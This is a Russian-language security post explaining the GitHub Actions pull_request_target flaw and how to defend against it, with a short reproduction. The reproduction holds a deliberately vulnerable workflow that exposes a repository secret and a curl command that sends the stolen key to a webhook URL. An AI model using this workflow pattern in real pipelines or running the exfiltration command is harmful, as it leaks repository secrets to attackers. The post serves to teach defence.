🔍 В чем заключается уязвимость?
Разработчики использовали триггер
pull_request_target в воркфлоу для автоматических проверок кода (pre-commit checks).Главное отличие этого триггера от обычного
pull_request в том, что он запускается в контексте базового репозитория, то есть репозитория, в который вливают изменения.Это значит, что пайплайн имеет доступ к
GITHUB_TOKEN с правами на запись, а также к секретам, сконфигурированным в репозитории.При этом внутри пайплайна происходил checkout кода из форка (который полностью контролирует атакующий) и его последующий запуск.
🧨 Для эксплуатации необходимо сочетание двух условий:
1. Использование триггера
pull_request_target 2. Checkout и выполнение кода из внешнего PR
✨ Как можно воспроизвести уязвимость?
Посмотрим, как уязвимость работает на практике. Для демонстрации потребуется только два аккаунта на GitHub
1. В аккаунте "жертвы" создаём публичный репозиторий с секретом (
PROD_API_KEY) и уязвимым воркфлоу:name: Pre-commit checks
on:
pull_request_target: # Опасный триггер
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Чекаут кода атакующего
- name: Run tests
env:
PROD_API_KEY: ${{ secrets.PROD_API_KEY }} # Секрет в окружении
run: bash run_tests.sh
С аккаунта "атакующего" делаем форк, подменяем
run_tests.sh на свой, который отправляет PROD_API_KEY на webhook и делаем Pull Request#!/bin/bash
curl -X POST -d "stolen_key=$PROD_API_KEY" https://webhook.site/YOUR_URL
🔥 Результат - воркфлоу запускается автоматически, выполняет наш код с секретами "жертвы".
GitHub маскирует токен звёздочками в логах, но на webhook отправляет в открытом виде.
🤺 Как защититься?
- Внутри
pull_request_target никогда не делайте checkout и не выполняйте код из чужого PR- Если этот триггер всё же нужен - используйте его только для работы с метаданными (например, навешивание лейблов на PR)
- Для задач, где необходимо собирать или тестировать код из PR, используйте обычный триггер
pull_request - он запускается с read-only правами и без доступа к секретам📌 Кстати, в феврале 2026 года бот hackerbot-claw массово сканировал популярные опенсорс-проекты на наличие именно этого паттерна.
Среди пострадавших - репозиторий
awesome-go и ещё несколько крупных репозиториев, из которых были украдены токены 🦀
